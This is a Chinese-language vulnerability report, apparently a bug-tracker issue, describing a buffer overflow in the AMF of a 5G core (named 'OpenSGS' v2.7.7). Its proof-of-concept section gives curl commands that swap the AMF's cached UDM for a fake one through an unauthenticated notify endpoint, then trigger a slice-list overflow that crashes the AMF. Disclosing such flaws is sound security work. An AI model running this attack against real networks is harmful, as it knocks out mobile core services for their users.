# OpenSGS AMF 缓冲区溢出漏洞总结 ## 漏洞概述 * **漏洞编号**: #4403 * **漏洞类型**: 缓冲区溢出 (Buffer Overflow) / 内存损坏 * **触发条件**: 在真实 UE 注册流程中,当 `numd-sdm` 的 `am-data` 响应包含过多的 `defaultSingleNssais` 条目时触发。 * **根本原因**: 代码在复制 `defaultSingleNssais` 条目到 `amf_ue->num_of_slice` 时缺乏边界检查。目标数组 `ogs_slice_data_t slice[OGS_MAX_NUM_OF_SLICE]` 大小固定,但攻击者可以发送超出限制数量的条目,导致内存越界写入。 * **后果**: 内存损坏导致注册流程进入异常状态,最终触发断言失败 (`gmm_state_registered`) 并导致 AMF 进程崩溃 (Exit code 134)。 ## 影响范围 * **受影响组件**: OpenSGS AMF (Access and Mobility Management Function) * **受影响版本**: v2.7.7 * **攻击路径**: 外部 UE 发起的 5G 注册流程。 ## 修复方案 * **预期行为**: AMF 应拒绝包含过多 `defaultSingleNssais` 条目的列表,或将复制条目数量限制在 `OGS_MAX_NUM_OF_SLICE` 以内。 * **当前状态**: 未修复 (Open)。 ## POC / 利用代码 **1. 启动环境 (Docker):** ```bash docker start db ausf udm udr pcf amf upf nssf ``` **2. 替换 AMF 本地缓存中的真实 UDM 为伪造 UDM:** ```bash AMF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' amf) curl -H'content-type: application/json' \ -H'content-type: application/json' \ -X POST "http://$AMF_IP/nrf-nf-v1/nf-status-notify" \ -d '{"event": "NF_DEREGISTERED", "nfInstanceId": "http://nrf.open5gs.org/nrf/nf-v1/instances/4568f3be-38..."}' curl -H'content-type: application/json' \ -H'content-type: application/json' \ -X POST "http://$AMF_IP/nrf-nf-v1/nf-status-notify" \ -d '{"event": "NF_REGISTERED", "nfInstanceId": "http://10.33.33.1:8083/nrf-nf-v1/instances/fake-ue-amf"}' ``` **3. 控制实验:配置伪造 UDM 用于单次正常注册:** ```bash printf 'control!\n' > /home/ubuntu/open5gs_277/.audit/tmp/amf_fake_udm.mode docker restart amf-audit-gdb amf-audit-ue docker logs --tail 60 amf-audit-ue docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' amf ``` **4. 恶意实验:更改伪造 UDM 模式以返回 32 个 `defaultSingleNssais` 条目:** ```bash printf 'am-data-slice-overflow!\n' > /home/ubuntu/open5gs_277/.audit/tmp/amf_fake_udm.mode docker restart amf-audit-gdb amf-audit-ue docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' amf docker logs --tail 120 amf ```